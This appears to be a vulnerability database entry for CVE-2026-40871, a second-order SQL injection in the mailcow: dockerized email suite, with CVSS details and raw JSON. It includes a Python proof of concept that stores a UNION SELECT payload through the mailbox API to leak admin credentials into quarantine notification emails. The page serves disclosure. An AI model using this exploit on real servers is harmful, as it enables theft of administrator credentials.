Security Vulnerability Report
中文
CVE-2026-40871 CVSS 7.2 HIGH

CVE-2026-40871

Published: 2026-04-21 20:17:01
Last Modified: 2026-04-22 21:02:31

Description

mailcow: dockerized is an open source groupware/email suite based on docker. Versions prior to 2026-03b have a second-order SQL injection vulnerability in the quarantine_category field via the Mailcow API. The /api/v1/add/mailbox endpoint stores quarantine_category without validation or sanitization. This value is later used by quarantine_notify.py, which constructs SQL queries using unsafe % string formatting instead of parameterized queries. This results in a delayed (second-order) SQL injection when the quarantine notification job executes, allowing an attacker to inject arbitrary SQL. Using a UNION SELECT, sensitive data (e.g., admin credentials) can be exfiltrated and rendered inside quarantine notification emails. Version 2026-03b fixes the vulnerability.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

mailcow: dockerized < 2026-03b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40871: Second-order SQL Injection in mailcow # This script demonstrates how to inject a payload into the quarantine_category field. import requests target_url = "https://<mailcow-domain>/api/v1/add/mailbox" api_key = "<VALID_ADMIN_API_KEY>" # Requires High Privileges (PR:H) # Payload attempts to exfiltrate data using UNION SELECT # The injected SQL will be executed later by quarantine_notify.py sql_payload = "test' UNION SELECT username, password FROM admin -- " payload_data = { "domain": "example.com", "local_part": "testuser", "name": "Test User", "quota": "1024", "password": "StrongPassword123!", "quarantine_category": sql_payload # Vulnerable parameter } headers = { "X-API-Key": api_key, "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload stored successfully.") print("[+] Wait for the quarantine notification job to run.") print("[+] Check the generated notification email for exfiltrated admin credentials.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40871", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:00.527", "lastModified": "2026-04-22T21:02:31.267", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "mailcow: dockerized is an open source groupware/email suite based on docker. Versions prior to 2026-03b have a second-order SQL injection vulnerability in the quarantine_category field via the Mailcow API. The /api/v1/add/mailbox endpoint stores quarantine_category without validation or sanitization. This value is later used by quarantine_notify.py, which constructs SQL queries using unsafe % string formatting instead of parameterized queries. This results in a delayed (second-order) SQL injection when the quarantine notification job executes, allowing an attacker to inject arbitrary SQL. Using a UNION SELECT, sensitive data (e.g., admin credentials) can be exfiltrated and rendered inside quarantine notification emails. Version 2026-03b fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-116"}, {"lang": "en", "value": "CWE-564"}]}], "references": [{"url": "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-r8fq-wrfm-cj2q", "source": "[email protected]"}, {"url": "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-r8fq-wrfm-cj2q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}